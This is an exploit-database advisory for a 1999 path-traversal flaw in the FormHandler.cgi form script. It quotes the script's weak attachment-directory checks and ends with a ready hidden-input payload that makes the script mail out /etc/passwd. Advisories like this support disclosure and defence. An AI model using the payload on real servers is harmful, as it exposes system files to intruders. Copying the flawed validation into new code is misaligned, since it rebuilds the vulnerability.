header-logo
Suggest Exploit
vendor:
FormHandler.cgi
by:
SecurityFocus
7.5
CVSS
HIGH
Arbitrary File Access
22
CWE
Product Name: FormHandler.cgi
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Unix
1999

FormHandler.cgi Arbitrary File Access Vulnerability

FormHandler.cgi is a CGI script used to process HTML forms. It is typically run as user 'nobody' on Unix systems. An attacker can gain access to sensitive files such as /etc/passwd simply by modifying the form document. This is possible because the FormHandler.cgi script has read access to any file specified as an attachment in a reply email. The attacker can also download the /etc/passwd file by adding a hidden input field to the form with the value “text:/tmp/../etc/passwd”.

Mitigation:

Restrict access to the FormHandler.cgi script and ensure that it is not run as user 'nobody'.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/799/info

Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document. 

@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
@RESTRICTED_ATTACH_DIRS = ('/etc/');
[...]

if (&valid_directory($filename)) { # let's check if file is allowed
push(@files, $filename); [...] } # to send
[...]

sub valid_directory {
local ($filename) = $_[0];
local ($allowed_path, $restricted_path);
local($valid_dir) = 0;
if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
else {
foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
last if $valid_dir;
}
}
foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
$valid_dir = ($filename !~ /^$restricted_path/); # once more
last if !$valid_dir;
}
return $valid_dir;
}
[...]

How to d/l /etc/passwd ? Just add this to the form:
<INPUT TYPE="hidden" NAME="reply_message_attach"
VALUE="text:/tmp/../etc/passwd">